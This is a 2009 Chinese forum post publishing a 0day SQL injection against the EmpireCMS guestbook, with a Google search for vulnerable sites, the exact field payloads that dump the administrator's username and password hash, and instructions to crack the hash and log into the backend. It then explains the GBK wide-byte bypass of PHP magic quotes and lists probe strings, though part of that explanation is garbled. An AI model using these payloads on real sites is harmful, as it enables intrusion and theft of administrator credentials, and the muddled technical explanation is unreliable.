帝国CMS留言板漏洞

2009/7/20 来源:www.arpun.com 作者:小白

深灰丢出来的0day.

       找到使用帝国CMS的站,网址后面直接加:e/tool/gbook/?bid=1

       例如:www.xxx.com/e/tool/gbook/?bid=1

       出来的是帝国CMS的留言本,在姓名处写:縗\

       联系邮箱处写:

,1,1,1,(select concat(username,0x5f,password,0x5f,rnd) from phome_enewsuser where userid=1),1,1,1,0,0,0)/*

       提交后爆出账号密码

       测试方法:利用google搜索关键字 inurl:e/tool/gbook/?bid=1, 然后依照上面方式留言, 显示结果即爆出管理员帐号和密码md5值, 破解密码登陆后台。

       只公布了oday的利用方法, 并没有说明其中的一些原理, 今天壮壮胆, 跟大家分析一下

       1.这个漏洞就是php注入, 上面的注入语句大家也看到了

,1,1,1,(select concat(username,0x5f,password,0x5f,rnd) from phome_enewsuser where userid=1),1,1,1,0,0,0)/*

       查询phome_enewsuser表段中username,password,rnd三个字段信息, 查询的条件是userid=1, 排在第一位的, 估计也是管理员, 当然如果网站存在多个管理员, 可以把1换成其他数字

       2.姓名处写:縗\

       为什么要写:縗\?这里涉及到一个双字节漏洞

       要知道这个需要了解几个知识点

       1)如果安装过php环境的朋友应该知道, 在php.ini中有一个get_magic_quotes_gpc功能

       当这个功能打开时, 所有的 ' (单引号), " (双引号), \ (反斜线) and 空字符会自动加上转义符\

       当这个功能开启时, 字符串可以直接入库

       2)注入大家知道, 要用到“and” , and被php转义为%df, 由于 get_magic_quotes_gpc开启, 所以自动加入了“\” , “\"转换为十六进制后为%5C 。

       由于看出, 其实我们输入“and”被php转义成为%df%5c

       但是当这些字符进入mysql数据库进行GBK编码时, 就会被认为这是一个宽字符,也就是"縗"

       总结一下:

       %df'?==>? %df\'??==> ?%df%5c'??==> ?縗'

       这就是php中常见的宽字节漏洞, 也称双字节漏洞

       如我们在平时的检测过程中替代原来的 and 1=1

       %df%27 or 1=1/*

       %df%27 or 1=2/*

 

网友评论
评论(...
全部评论